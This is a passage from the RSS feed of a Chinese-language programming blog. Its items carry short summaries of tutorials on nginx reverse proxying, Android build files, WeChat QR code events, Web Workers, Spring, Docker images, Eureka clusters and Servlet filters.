      <guid>https://bchobby.github.io/posts/bfeafabef7813adc2c31e976310fd7d5/</guid>
      <description>先创建一个普通的maven项目&#xA;将webapp文件夹复制到main目录下&#xA;将项目改为war包，添加Servlet相关依赖,不清楚的看pom文件&#xA;百度云盘例子&#xA;https://pan.baidu.com/s/1kc60CWaTbpai9PtsvkFusA</description>
    </item>
    <item>
      <title>nginx反向代理内外网跳转</title>
      <link>https://bchobby.github.io/posts/6172250bbf94a4045ee9d02f779a9eda/</link>
      <pubDate>Thu, 10 May 2018 16:13:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6172250bbf94a4045ee9d02f779a9eda/</guid>
      <description>现状&#xA;一个域名（www.abc.com)，指向了公司的外网IP（59.108.xx.xx），&#xA;公司的外网IP（59.108.xx.xx），映射到一台内网服务器37（172.16.2.37），以下简称37服务器。&#xA;另一台内网服务器38是资源服务器（172.16.2.38），上传了很多的图片，以下简称38服务器。 其中，&#xA;37服务器是外网访问我们服务器的唯一入口，其中配置了nginx，跳转到多个服务器的应用。&#xA;38服务器，8081端口就是访问图片的应用端口。&#xA;希望：&#xA;通过外网ip和域名地址，可以访问资源服务器上的图片&#xA;实现步骤：&#xA;1、配置nginx.conf&#xA;#cat /etc/nginx/nginx.conf # For more information on configuration, see: # * Official English Documentation: http://nginx.org/en/docs/ # * Official Russian Documentation: http://nginx.org/ru/docs/ user nginx; worker_processes auto; error_log /var/log/nginx/error.log; pid /run/nginx.pid; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; log_format main &#39;$remote_addr - $remote_user [$time_local] &#34;$request&#34; &#39; &#39;$status $body_bytes_sent &#34;$http_referer&#34; &#39; &#39;&#34;$http_user_agent&#34; &#34;$http_x_forwarded_for&#34;&#39;; # access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; include conf.</description>
    </item>
    <item>
      <title>默认浏览器设置及vue自动打开页面</title>
      <link>https://bchobby.github.io/posts/e2b3e63289a5ce31759a0d43e002a5bc/</link>
      <pubDate>Thu, 10 May 2018 15:05:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2b3e63289a5ce31759a0d43e002a5bc/</guid>
      <description>以下为windows 系统操作，仅供参考。&#xA;一、修改默认浏览器&#xA;个人偏好谷歌浏览器，设置谷歌浏览器为默认浏览器。&#xA;1、首先打开“开始菜单”，点击“控制面板”；&#xA;2、在“控制面板”里面找到“默认程序”，进入后点击“设置默认程序”；&#xA;3、加载好后选择 “谷歌浏览器”；&#xA;4、选择“将此程序设置为默认值”，如果安装360安全卫士，必须先退出360安全卫士，否则设置不起效果。&#xA;5、选择“选择此程序的默认值”，全选所有的扩展名，保存。&#xA;二、vue启动自动打开页面&#xA;vue 脚手架搭建项目后启动npm run dev，会出现&#xA;Your application is running here: http://localhost:8080 但是并不会自动打开浏览器展示页面，此时仅需要打开config文件下的index.js文件，更改autoOpenBrowser为true即可实现。</description>
    </item>
    <item>
      <title>android.mk转换为android.bp</title>
      <link>https://bchobby.github.io/posts/f714c45bb88cbfcc9079b49ec5c9e9c3/</link>
      <pubDate>Wed, 09 May 2018 20:00:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f714c45bb88cbfcc9079b49ec5c9e9c3/</guid>
      <description>android.mk大家都很熟悉了，就是android下编译模块的配置文件，可以理解为android makefile。从android N之后，我们发现好多模块下面没有了android.mk文件，多了一个android.bp文件。这个是google在android N之后新的编译配置文件。&#xA;在实际项目中，我们需要把android.mk转换为android.bp，还好sdk中给我提供了androidmk工具，可以直接把android.mk转换为android.bp.&#xA;源码在：build/soong/androidmk&#xA;我们在out下面找下androidmk工具，如果没有可以执行命令：m -j blueprint_tools&#xA;然后在在out/soong/host/linux-x86/bin/androidmk生成工具&#xA;androidmk android.mk &amp;gt; android.bp&#xA;这样即可把android.mk转换为android.bp文件了&#xA;有了这个工具我们很容易的修改android.bp&#xA;比如我们想把某个动态链接的bin改为静态链接，则可如下修改： cc_binary { name: &#34;updater&#34;, srcs: [&#34;updater.cpp&#34;], local_include_dirs: [ &#34;..&#34;, &#34;include&#34;, ], cflags: [ &#34;-Wno-unused-parameter&#34;, &#34;-Werror&#34;, ], share_libs: [&#34;libupdater&#34;], } 把里面的动态库链接改为静态链接：share_libs改为static_libs,然后增加：static_executable: true,&#xA;cc_binary { name: &#34;updater&#34;, srcs: [&#34;updater.cpp&#34;], local_include_dirs: [ &#34;..&#34;, &#34;include&#34;, ], cflags: [ &#34;-Wno-unused-parameter&#34;, &#34;-Werror&#34;, ], static_libs: [&#34;libupdater&#34;], static_executable: true, } 然后即可编译出静态链接的bin文件</description>
    </item>
    <item>
      <title>服务器反复重启</title>
      <link>https://bchobby.github.io/posts/58aa87fd3f1bae0e81193fc2f3cba2ce/</link>
      <pubDate>Wed, 09 May 2018 15:57:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58aa87fd3f1bae0e81193fc2f3cba2ce/</guid>
      <description>现象：服务器反复重启，显示CPU 1，CPU2 error，还有显示内存错误，插上一块，两块，三块硬盘机器可以重启，四块硬盘机器起不来，故障一直在移动&#xA;处理：更换CPU，服务器完好</description>
    </item>
    <item>
      <title>Build 2018，给你带来全新的开发者体验， .NET Core 3.0带来桌面支持</title>
      <link>https://bchobby.github.io/posts/5adb35fb425aeb6272b547c8102d206e/</link>
      <pubDate>Tue, 08 May 2018 15:12:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5adb35fb425aeb6272b547c8102d206e/</guid>
      <description>Build 2018 主旨演讲的主题是 Azure 云和 AI、物联网、AR等技术，以及开发者相关内容的宣布。在今天的Build大会上，微软宣布目前已有超过7亿台设备运行Windows 10系统。去年这个数字为5亿。Office 365目前每个月有1.35亿活跃的商业用户，去年为1.2亿。&#xA;微软今年Build大会的一大主题是说服开发人员相信，他们需要理解，以便将人工智能技术融入他们的应用之中。&#xA;FPGA上的AI服务&#xA;在今天的Build大会上，微软发布了Project Brainwave的“预览版”，这个平台，用FPGA在Azure云和边缘设备上实时运行深度学习模型。&#xA;Brainwave最初亮相，是去年8月，微软在芯片行业论坛Hot Chips上展示了这个平台的部分特性。&#xA;从当时公布的信息，可以看出这个平台可以分为三层：&#xA;一个高性能分布式架构；&#xA;一个整合到FPGA上的硬件深度神经网络引擎；&#xA;一个用来部署预训练模型的编译器和运行时。&#xA;当时，微软说这个平台支持微软自家的CNTK和Google的TensorFlow。&#xA;今天微软发布的Project Brainwave“预览版”，其实就是由这个平台在云端驱动的Azure机器学习硬件加速模型。让外部客户和微软一样用FPGA来处理AI工作负载，这是第一步。&#xA;微软还宣布了一个边缘设备上的“有限预览版”Project Brainwave。这里的边缘设备和我们平时所说的手机相机摄像头略有不同，指的是可以作为Azure IoT Edge设备使用的企业预置型服务器。戴尔和惠普企业是这个有限预览的首批合作伙伴。&#xA;大型科技公司无论做什么起家，从苹果到Google再到Facebook，无一不关注芯片。在一众同行都在追求自研机器学习专用芯片的时候，微软发出了不同的声音。&#xA;纳德拉在今天的发布会上说，以AI的发展速度来看，显然不该将今天的想法“锁定”到专用芯片上，还友情提醒各公司不要“被Google的TPU诱惑”。&#xA;微软是FPGA的忠实拥趸，Project Brainwave所用的就是英特尔的FPGA。这种芯片的全称是 现场可编程门阵列（Field Programmable Gate Array）。&#xA;这类芯片给微软带来了比Google TPU所使用的ASIC更大的灵活性，这家公司正逐步为整个数据中心部署FPGA，他们在FPGA上实现的机器学习性能，与那些专属芯片不相上下。&#xA;Azure IoT Edge进展&#xA;这是微软将人工智能、Azure服务、定制化应用装入物联网设备的一个工具。&#xA;在IoT Hub服务之上，微软发构建了Azure IoT Edge，支持微软的认知服务API，支持Event Grid和Kubernetes容器。此外，微软还开源了Azure IoT Edge runtime，以便开发者按需部署。&#xA;值得注意的是，边缘设备可用的认知服务目前只有视觉。不过微软计划稍后会推出更多服务。&#xA;据介绍，在Azure IoT Edge的帮助下，工业设备、无人机等即便在没有联网的情况下，也能运行机器学习模型。&#xA;在今天的大会上，微软宣布Azure IoT Edge已经和高通、大疆达成合作。&#xA;语音AI工具“四合一”&#xA;微软旗下的四种语音相关AI工具，这次也被统一起来。其中包括微软语音识别服务、文本到语音API、定制化语音模型和翻译服务。此前这些工具都作为单独的API存在（Bing Speech API、Speaker Recognition API、Custom Speech Service、Translator Speech API），并且单独定价。&#xA;手写和形状识别&#xA;微软还发布了Project Ink Analysis，这是一个全新的服务。借助这个服务，开发者可以为应用增加手写和其他形状的识别。&#xA;开发者工具</description>
    </item>
    <item>
      <title>Origin画三维图的步骤</title>
      <link>https://bchobby.github.io/posts/51f6251ee947b9533601fb9e9e1db739/</link>
      <pubDate>Tue, 08 May 2018 14:03:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51f6251ee947b9533601fb9e9e1db739/</guid>
      <description>第一步： 将数据转化为矩阵格式：worksheet → convert to Martrix → XYZ Gridding 第二步：选择 X Y Z的参数&#xA;第三步：在矩阵界面下&#xA;3D surface → color Map Surface</description>
    </item>
    <item>
      <title>微信公众号开发之生成并扫描带参数的二维码</title>
      <link>https://bchobby.github.io/posts/0d27429d6c83bbf308bdeed943201678/</link>
      <pubDate>Tue, 08 May 2018 13:37:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d27429d6c83bbf308bdeed943201678/</guid>
      <description>生成带参数二维码详见微信公众平台之生成带参数的二维码&#xA;具体步骤：可在微信测试平台https://mp.weixin.qq.com/debug进行生成&#xA;生成结果如下：&#xA;拿到ticket 请求 https://mp.weixin.qq.com/cgi-bin/showqrcode?ticket=TICKET（用获取到的ticket替换掉TICKET）&#xA;直接生成二维码图片，如下图所示&#xA;或者百度搜索二维码生成器，通过URL生成二维码，如图&#xA;把二维码下载下来就可以了。&#xA;用户扫描带场景值二维码时，可能推送以下两种事件：&#xA;如果用户还未关注公众号，则用户可以关注公众号，关注后微信会将带场景值关注事件推送给开发者。如果用户已经关注公众号，则微信会将带场景值扫描事件推送给开发者。 1. 用户未关注时，进行关注后的事件推送&#xA;推送XML数据包示例：&#xA;&amp;lt;xml&amp;gt;&amp;lt;ToUserName&amp;gt;&amp;lt; ![CDATA[toUser] ]&amp;gt;&amp;lt;/ToUserName&amp;gt;&amp;lt;FromUserName&amp;gt;&amp;lt; ![CDATA[FromUser] ]&amp;gt;&amp;lt;/FromUserName&amp;gt;&amp;lt;CreateTime&amp;gt;123456789&amp;lt;/CreateTime&amp;gt;&amp;lt;MsgType&amp;gt;&amp;lt; ![CDATA[event] ]&amp;gt;&amp;lt;/MsgType&amp;gt;&amp;lt;Event&amp;gt;&amp;lt; ![CDATA[subscribe] ]&amp;gt;&amp;lt;/Event&amp;gt;&amp;lt;EventKey&amp;gt;&amp;lt; ![CDATA[qrscene_123123] ]&amp;gt;&amp;lt;/EventKey&amp;gt;&amp;lt;Ticket&amp;gt;&amp;lt; ![CDATA[TICKET] ]&amp;gt;&amp;lt;/Ticket&amp;gt;&amp;lt;/xml&amp;gt; 参数说明：&#xA;参数描述ToUserName开发者微信号FromUserName发送方帐号（一个OpenID）CreateTime消息创建时间 （整型）MsgType消息类型，eventEvent事件类型，subscribeEventKey事件KEY值，qrscene_为前缀，后面为二维码的参数值Ticket二维码的ticket，可用来换取二维码图片 2. 用户已关注时的事件推送&#xA;推送XML数据包示例：&#xA;&amp;lt;xml&amp;gt; &amp;lt;ToUserName&amp;gt;&amp;lt; ![CDATA[toUser] ]&amp;gt;&amp;lt;/ToUserName&amp;gt; &amp;lt;FromUserName&amp;gt;&amp;lt; ![CDATA[FromUser] ]&amp;gt;&amp;lt;/FromUserName&amp;gt; &amp;lt;CreateTime&amp;gt;123456789&amp;lt;/CreateTime&amp;gt; &amp;lt;MsgType&amp;gt;&amp;lt; ![CDATA[event] ]&amp;gt;&amp;lt;/MsgType&amp;gt; &amp;lt;Event&amp;gt;&amp;lt; ![CDATA[SCAN] ]&amp;gt;&amp;lt;/Event&amp;gt; &amp;lt;EventKey&amp;gt;&amp;lt; ![CDATA[SCENE_VALUE] ]&amp;gt;&amp;lt;/EventKey&amp;gt; &amp;lt;Ticket&amp;gt;&amp;lt; ![CDATA[TICKET] ]&amp;gt;&amp;lt;/Ticket&amp;gt; &amp;lt;/xml&amp;gt; 参数说明：&#xA;参数描述ToUserName开发者微信号FromUserName发送方帐号（一个OpenID）CreateTime消息创建时间 （整型）MsgType消息类型，eventEvent事件类型，SCANEventKey事件KEY值，是一个32位无符号整数，即创建二维码时的二维码scene_idTicket二维码的ticket，可用来换取二维码图片 代码如下：&#xA;@Controller @RequestMapping(&#34;/wechat&#34;) public class WxController { private final static String MEDIATYPE_CHARSET_JSON_UTF8 = MediaType.</description>
    </item>
    <item>
      <title>HTML5 : worker API</title>
      <link>https://bchobby.github.io/posts/867d7a512bfadc64191f3177266b703c/</link>
      <pubDate>Tue, 08 May 2018 03:57:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/867d7a512bfadc64191f3177266b703c/</guid>
      <description>worker 是异步操作的API js的执行是以主线程，单线程执行，当遇到耗时的计算时会发生堵塞，这时候需要雇佣一个worker进行异步计算，将计算结果返回给主线程。 worker文件必须和主文件满足同源策略 worker 和主线程之间的通信 postMessage(n)方法&#xA;message事件&#xA;雇主（index.html） 向工人发出任务数据 var worker = new Worker(&#39;./worker.js&#39;); //给worker发送数据 worker.postMessage(12) 复制代码 工人（worker.js） 接受任务数据 onmessage = function(e){ console.log(e.data);//12 } 复制代码 工人处理index发过来的数据 onmessage = function(e){ postMessage(deal(e.data)); } function deal(data){ return data * data; } 复制代码 雇主监听工人返回的数据并使用 var worker = new Worker(&#39;./worker.js&#39;); worker.postMessage(12) worker.onmessage = function (e){ console.log(e.data);//144 } 复制代码 结束一个worker close()在worker作用域中调用（worker.js）--&amp;gt;辞职&#xA;terminate()在worker对象上调用（主进程的worker对象上worker.terminate）--&amp;gt;解雇 close() 辞职，自己不干了 //worker.js onmessage = function(e){ postMessage(deal(e.data)); //取消worker close(); } function deal(data){ return data * data; } //index.</description>
    </item>
    <item>
      <title>Spring入门到精通（一）</title>
      <link>https://bchobby.github.io/posts/27073fc08731a7d29d0ab89e7f653895/</link>
      <pubDate>Mon, 07 May 2018 23:32:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27073fc08731a7d29d0ab89e7f653895/</guid>
      <description>一、spring简介 Spring是一个开源的控制反转(Inversionof Control ,IoC)和面向切面(AOP)的容器框架。为软件开发提供一站式解决方案。&#xA;spring是大工厂，会生产任意bean对象。&#xA;spring功能：生产bean、声明式事务、单例模式管理bean、AOP开发。&#xA;官网：http://www.springsource.org/spring-framework&#xA;下载：http://maven.springframework.org/release/org/springframework/spring/&#xA;下载的文件名spring-framework-x.x.x.RELEASE-dist.zip&#xA;libs目录下的jar包说明&#xA;spring核心API&#xA;BeanFactory：bean工厂，上产任意bean。&#xA;ApplicationContext：所有配置对象的主接口&#xA;ClassPathXmlApplicationContext：加载类路径下的配置文件&#xA;FileSystemXmlApplicationContext：加载文件系统下的配置文件&#xA;二、入门案例 1、控制反转(IOC) IOC(Inversion of Control)是控制反转的意思，之前需要类的对象，主动new(实例化)类的对象，spring是生产bean的工厂，现在可以让spring生产对象，用户获取对象使用。&#xA;对象从原来的主动创建，变为被动获得。&#xA;（1）创建项目(java或web),且导入spring的jar包 （2）创建业务层接口和实现类 （3） 在classpath下创建spring的核心配置文件，应用schema文件，配置bean。 配置文件：位置任意、文件名任意，习惯ApplicationContext.xml。&#xA;在spring-framework-4.1.0.RELEASE\docs\spring-framework-reference\html\xsd-config.html文件中有schema引用的说明。&#xA;（4）测试 2、依赖注入(DI) DI :Dependency Injection，指在定义bean时为属性注入值。&#xA;1. 编写业务层的接口和实现类，编写持久层的接口和实现类。&#xA;2. 配置bean，给属性注入值&#xA;三、bean的装配（基于xml） 1、实例化bean 方式一：默认构造方法 当配置一个bean时，默认调用无参构造方法实例化对象&#xA;方式二：静态工厂 一般情况下应用于spring和其他框架整合的时候&#xA;方法三：对象工厂 2、bean种类和作用域 bean的种类有：&#xA;基本bean:&amp;lt;bean id=”” class=””&amp;gt;&#xA;FactoryBean：是一个bean，是创建特定bean对象的工厂bean。&#xA;BeanFactory：是一个factory，可以创建任意bean对象的工厂。&#xA;bean的作用域：有bean标签的scope属性决定，默认singleton&#xA;singleton 单例&#xA;prototype 多例&#xA;request一次请求&#xA;session一次会话&#xA;3、bean生命周期 生命周期表示使用对象前或后，要执行的操作，初始化在前，销毁在后&#xA;1. 配置bean&#xA;2. 测试，要关闭ApplicationContext对象，才会调用destory方法，只有ClassPathXmlApplicationContext才有close方法。&#xA;4、属性依赖注入 依赖注入分为：手动注入和自动注入。&#xA;手动注入：基于xml配置时使用&#xA;自动注入：基于注解使用&#xA;又分：按名称、按类型、不确定注入&#xA;（1）构造方法注入 首先bean要提供无参和带参的不同构造方法，供bean使用</description>
    </item>
    <item>
      <title>使用Dockerfile文件制作centos6.8基础镜像，基于centos基础镜像的ssh远程登录镜像，jdk1.8镜像，tomcat镜像，elasticsearch镜像等等...</title>
      <link>https://bchobby.github.io/posts/e94445469321842a621f904e40d6c83a/</link>
      <pubDate>Mon, 07 May 2018 21:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e94445469321842a621f904e40d6c83a/</guid>
      <description>一、首先制作一个centos6.8的裸机镜像&#xA;创建一个干净的目录：&#xA;1 [root@docker centos6.8]# ls 2 c68-docker.tar.xz Dockerfile Dockerfile文件内容：&#xA;#依赖的基础镜像 FROM scratch #维护着 MAINTAINER hujianjie2010@163.com #添加的文件 ADD c68-docker.tar.xz / #定义标签 LABEL name=&#34;CentOS Base Image&#34; \ vendor=&#34;CentOS&#34; \ license=&#34;GPLv2&#34; \ build-date=&#34;2016-06-02&#34; # Default command CMD [&#34;/bin/bash&#34;] docker build -t centos6.8:1.0 .&#xA;scratch是一个空的镜像，而解压c68-docker.tar.xz包里面包含了centos主要的目录：如下&#xA;1 bin dev home lib64 manage media opt root sbin srv tmp var 2 c68-docker.tar.xz etc lib lost+found mnt proc selinux sys usr 因此上面的build出来的镜像基本就是一个裸机镜像。&#xA;注：下面这段文字摘自网络。但是能够看清楚scratch是啥东西，也能理解最基础的镜像是从哪里开始&#xA;使用 tar 来创建一个完整的镜像</description>
    </item>
    <item>
      <title>多节点高可用Eureka集群与服务注册</title>
      <link>https://bchobby.github.io/posts/e76d50e646a037b3119c9c5f86ac6049/</link>
      <pubDate>Sun, 06 May 2018 23:30:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e76d50e646a037b3119c9c5f86ac6049/</guid>
      <description>0 多节点 找多借点配置的直接从最下面这里开始看：&#xA;修改消费者和提供者的application.yml文件&#xA;defaultZone: http://peer1:8761/eureka/,http://peer2:8762/eureka/&#xA;1 简介 Eureka是Netfilx开元的服务发现组件，本身是一个基于REST的服务。它包含EurekaServer（以下简称ES）和EurekaClient（以下简称EC）两部分，SpringCloud将它集成在子项目SpringCloudNetfilx中，实现了微服务的注册与发现&#xA;2 原理 我们可以直接看Eureka的架构图&#xA;上面说了 Eureka分为Server和Client两部分，解释一下，我们拿us-east-1c来说：&#xA;us-east-1c里面的ApplicationService为我们微服务的提供方，ApplicationClient为服务的调用地方，他们通过MakeRemoteCall通讯，可以理解为RESTful API行为。他们同时都与ES保持联系，通过EC向ES发送心跳来续约自己在ES中的注册。ES提供服务发现的能力，会存储各个微服务启动时发送来的信息。当ES在一定时间内没有接收到某个微服务实例的心跳时，ES将会注销该实例。ES同时也可以是EC，当有多个节点时，如上图1d，1e，1c之间的ES通过互相复制来同步自己的服务注册表。EC也会缓存服务注册表中的信息，这样不用每次请求都查询ES，降低ES的压力，同时当所有ES都宕了，消费者仍然可以根据缓存来完成调用。 3 代码 示例代码为SpringBoot项目，采用Maven管理依赖，数据库使用了H2，项目同时整合了Actuator&#xA;3.1 编写单节点EurekaServer 创建一个Maven项目，完整POM如下 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;com.transientBa.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;microservice-discovery-eureka&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;!-- 引入spring boot的依赖 --&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.4.3.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!-- 提供了SpringMVC的支持 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 提供了Spring Data JpA --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-jpa&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--H2数据库支持--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.h2database&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;h2&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>Filter过滤器及其作用介绍</title>
      <link>https://bchobby.github.io/posts/f58942bcc264a26b87c5567e8b744710/</link>
      <pubDate>Sun, 06 May 2018 21:23:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f58942bcc264a26b87c5567e8b744710/</guid>
      <description>一、过滤器Filter 1．filter的简介 filter是对客户端访问资源的过滤，符合条件放行，不符合条件不放行，并且可以对目 标资源访问前后进行逻辑处理&#xA;2．Filter的API详解 (1)filter生命周期及其与生命周期相关的方法 Filter接口有三个方法，并且这个三个都是与Filter的生命相关的方法&#xA;init(Filterconfig)：代表filter对象初始化方法 filter对象创建时执行&#xA;doFilter(ServletRequest,ServletResponse,FilterChain)：代表filter执行过滤的核心方法，如果某资源在已经被配置到这个filter进行过滤的话，那么每次访问这个资源都会执行doFilter方法&#xA;destory()：代表是filter销毁方法 当filter对象销毁时执行该方法&#xA;Filter对象的生命周期：&#xA;Filter何时创建：服务器启动时就创建该filter对象&#xA;Filter何时销毁：服务器关闭时filter销毁&#xA;(2)Filter的AP详解 1）init(FilterConfig)&#xA;其中参数config代表 该Filter对象的配置信息的对象，内部封装是该filter的配置信息。&#xA;@Override&#xA;//初始化方法：Filter创建时去执行init方法&#xA;public void init(FilterConfig filterConfig) throws ServletException {&#xA;//1、获得web.xml中filter 的名称 &amp;lt;filter-name&amp;gt;QuickFilter1&amp;lt;/filter-name&amp;gt;&#xA;System.out.println(filterConfig.getFilterName());&#xA;//2、还能获得当前filter的一些初始化参数&#xA;System.out.println(filterConfig.getInitParameter(&#34;aaa&#34;));&#xA;//3、获得servletContext&#xA;filterConfig.getServletContext();&#xA;System.out.println(&#34;init....&#34;);&#xA;}&#xA;2）destory()方法&#xA;filter对象销毁时执行&#xA;3）doFilter方法&#xA;doFilter(ServletRequest,ServletResponse,FilterChain)&#xA;其中的参数：&#xA;ServletRequest/ServletResponse：每次在执行doFilter方法时 web容器负责创建一个request和一个response对象作为doFilter的参数传递进来。该request个该response就是在访问目标资源的service方法时的request和response。&#xA;FilterChain：过滤器链对象，通过该对象的doFilter方法可以放行该请求&#xA;4、Filter的配置&#xA;&amp;lt;filter&amp;gt;&#xA;&amp;lt;filter-nameFilter1&amp;lt;/filter-name&amp;gt;&#xA;&amp;lt;filter-class&amp;gt;com.filter.Filter1&amp;lt;/filter-class&amp;gt;&#xA;&amp;lt;/filter&amp;gt;&#xA;&amp;lt;filter-mapping&amp;gt;&#xA;&amp;lt;filter-name&amp;gt;Filter1&amp;lt;/filter-name&amp;gt;&#xA;&amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt;&#xA;&amp;lt;/filter-mapping&amp;gt; 5、url-pattern配置时&#xA;1）完全匹配 /sertvle1&#xA;2）目录匹配 /aaa/bbb/* ----最多的&#xA;/user/*：访问前台的资源进入此过滤器&#xA;/admin/*：访问后台的资源时执行此过滤器&#xA;3）扩展名匹配 *.abc *.jsp&#xA;注意：url-pattern可以使用servlet-name替代，也可以混用&#xA;6、dispatcher：访问的方式(了解)&#xA;配置格式为：&amp;lt;dispather&amp;gt;*&amp;lt;/dispather&amp;gt;</description>
    </item>
    <item>
      <title>SpringBoot生产环境打包去除无用依赖</title>
      <link>https://bchobby.github.io/posts/3b57daa21155098b22d9c4272665fbab/</link>
      <pubDate>Sun, 06 May 2018 18:08:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b57daa21155098b22d9c4272665fbab/</guid>
      <description> 1、去除在生产环境中不变的依赖第三方jar包 pom.xml中添加：&#xA;&amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;layout&amp;gt;ZIP&amp;lt;/layout&amp;gt; &amp;lt;!--去除在生产环境中不变的依赖--&amp;gt; &amp;lt;excludeGroupIds&amp;gt; org.springframework.boot, org.springframework, org.springframework.data, com.fasterxml.jackson.core, com.fasterxml.jackson.databind, org.apache.commons, org.apache.tomcat.embed, org.hibernate.validator, org.slf4j, com.jayway, org.jboss, com.alibaba, com.fasterxml, com.fasterxml.jackson.datatype, com.fasterxml.jackson.module, ch.qos.logback, org.yaml, org.jboss.logging, javax.validation, io.netty, org.apache.httpcomponents, org.apache.logging.log4j, org.aspectj, javax.annotation, io.lettuce, commons-codec, org.reactivestreams, io.projectreactor &amp;lt;/excludeGroupIds&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; 2、去除生产环境配置文件依赖 pom.xml中添加：&#xA;&amp;lt;resources&amp;gt; &amp;lt;resource&amp;gt; &amp;lt;directory&amp;gt;src/main/resources&amp;lt;/directory&amp;gt; &amp;lt;excludes&amp;gt; &amp;lt;exclude&amp;gt;*&amp;lt;/exclude&amp;gt; &amp;lt;/excludes&amp;gt; &amp;lt;filtering&amp;gt;true&amp;lt;/filtering&amp;gt; &amp;lt;/resource&amp;gt; &amp;lt;/resources&amp;gt; </description>
    </item>
    <item>
      <title>什么是xserver和xclient</title>
      <link>https://bchobby.github.io/posts/27c170ca4c2b3b70bf14f84f19289d05/</link>
      <pubDate>Sat, 05 May 2018 19:38:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27c170ca4c2b3b70bf14f84f19289d05/</guid>
      <description>在xwindows体系中，提供界面显示，响应外设操作的是xserver，而运行程序业务逻辑，接受xserver发来的各种事件通知的，是xclient。&#xA;当xclient和xserver 在同一台机器上的时候，这种情况下，应用程序调用xclient的接口请求xserver为创建窗口，应用程序可以通过xlib库的过程调用请求xserver创建窗口中子元素，例如滑动条，按钮等。而xserver的作用是提供在屏幕上绘制基础元素的功能，例如填色，画线，画圆等动作，xserver会通过调用底层驱动程序完成这些功能。而xclient通过x协议向xserver发送请求去完成对应的界面操作。&#xA;下面是网上一个说的比较清楚的例子：&#xA;如果从一台 XP上用Reflection通过 XDMCP 登录到一台 Linux服务器，我们很容易将Reflection当成客户端，而将Linux机器当成服务器。这就完全搞错了。理解了Xwindow的工作原理，这个区别就会很明显。X server 不是指某台机器，而是指一个进程，它负责接受客户的要求，在屏幕上显示客户请求的图形，并且把消息(键盘，鼠标，窗口消息)通知客户程序。比如上面说的Reflection，它其实是才是Xserver，它负责控制那台XP上的显示，Linux机器上的程序，xterm, xxgdb, dtwm(CDE的窗口管理器)，……是客户程序。它们通常会使用TCP 6000 号端口连接XP，而XP的6000号端口是由Reflection绑定并侦听的，显然这里Reflection才是Xserver。比如，当你通过telnet 启动Linux机器上的xterm，就会在Reflection 的屏幕上显示一个窗口。实际发生的事情是：xterm 请求连接XP的6000 号端口和Reflection，跟Reflection建立连接，然后xterm请求得到资源，然后xterm 请求在屏幕上显示一个窗口。当在xterm 的窗口里按下”A”键时，Reflection 会把这个事件通知 xterm 进程，然后xterm 会发送数据报，请求Reflection, “请在坐标(100,30)处显示一个字母A，然后在后面显示一个矩形作为光标。” 这样xterm 窗口里就会多显示一个字母。至于KDE和Gnome，他们是桌面系统不是Xwindow，他们只是一些运行在Xwindow上的程序，他们发出要显示什么东西的请求，比如要在桌面底部显示一个面板、在桌面显示些图标。&#xA;http://blog.sina.com.cn/s/blog_4e415c0b0100lulu.html</description>
    </item>
    <item>
      <title>Spring Cloud之Eureka客户端健康检测(五)</title>
      <link>https://bchobby.github.io/posts/4f960907e56e0327eb3e31e3024a7da8/</link>
